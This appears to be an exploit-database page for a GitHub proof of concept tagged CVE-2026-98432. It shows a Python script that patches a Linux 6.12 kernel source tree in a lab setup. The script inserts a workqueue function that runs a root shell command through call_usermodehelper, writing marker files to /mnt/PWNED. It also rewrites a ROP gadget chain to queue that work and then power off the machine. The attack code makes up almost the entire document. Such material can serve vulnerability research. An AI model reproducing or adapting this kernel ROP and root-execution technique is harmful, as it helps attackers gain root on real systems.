Exploit database

GH-64512fbefaddfbf371789d6022482152

h1z3-br0/cve-2026-98432

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2026-98432

33 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files34
h1z3-br0/cve-2026-98432Revision fa7e5d9b81d7

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

artifacts/aid_workqueue.py

Python · 1,804 bytes
tree = "/home/aesc/lab/linux-6.12.112"
p = f"{tree}/net/ipv4/tcp_ipv4.c"
s = open(p).read()

s = s.replace("#define AID_MACHINE_OFF\t0xffffffff81061680ULL",
              "#define AID_MACHINE_OFF\t0xffffffff81061680ULL\n"
              "#define AID_QUEUE_WORK_ON\t0xffffffff810b61a0ULL")

anchor = "char aid_stage[8192] __aligned(64);\n"
assert anchor in s
s = s.replace(anchor, anchor + """
static struct work_struct aid_work;

static void aid_work_fn(struct work_struct *w)
{
\tstatic char *argv[] = { \"/bin/sh\", \"-c\",
\t\t\"id > /mnt/PWNED; echo ROOT > /mnt/PWNED.2; sync\", NULL };
\tstatic char *envp[] = { \"HOME=/\",
\t\t\"PATH=/sbin:/bin:/usr/sbin:/usr/bin\", NULL };

\tcall_usermodehelper(argv[0], argv, envp, 2);
}
""", 1)

s = s.replace("\ts[0] = (u64)(unsigned long)(aid_stage + 0x100);",
              "\tINIT_WORK(&aid_work, aid_work_fn);\n"
              "\ts[0] = (u64)(unsigned long)(aid_stage + 0x100);")

old = """\t\taq[6] = AID_POP_RDI;
\t\taq[7] = (u64)(unsigned long)(aid_stage + 0x400);
\t\taq[8] = AID_POP_RSI;
\t\taq[9] = (u64)(unsigned long)(aid_stage + 0x500);
\t\taq[10] = AID_POP_RDX;
\t\taq[11] = (u64)(unsigned long)(aid_stage + 0x600);
\t\taq[12] = AID_POP_RCX;
\t\taq[13] = 0;
\t\taq[14] = AID_UMH;
\t\taq[15] = AID_POP_RDI;
\t\taq[16] = 1500000;
\t\taq[17] = AID_UDELAY;
\t\taq[18] = AID_MACHINE_OFF;
\t\taq[19] = 0;"""
new = """\t\taq[6] = AID_POP_RDI;
\t\taq[7] = 0;
\t\taq[8] = AID_POP_RSI;
\t\taq[9] = (u64)(unsigned long)system_unbound_wq;
\t\taq[10] = AID_POP_RDX;
\t\taq[11] = (u64)(unsigned long)&aid_work;
\t\taq[12] = AID_QUEUE_WORK_ON;
\t\taq[13] = AID_POP_RDI;
\t\taq[14] = 2000000;
\t\taq[15] = AID_UDELAY;
\t\taq[16] = AID_MACHINE_OFF;
\t\taq[17] = 0;"""
assert old in s
s = s.replace(old, new)
open(p, "w").write(s)
print("workqueue chain patched")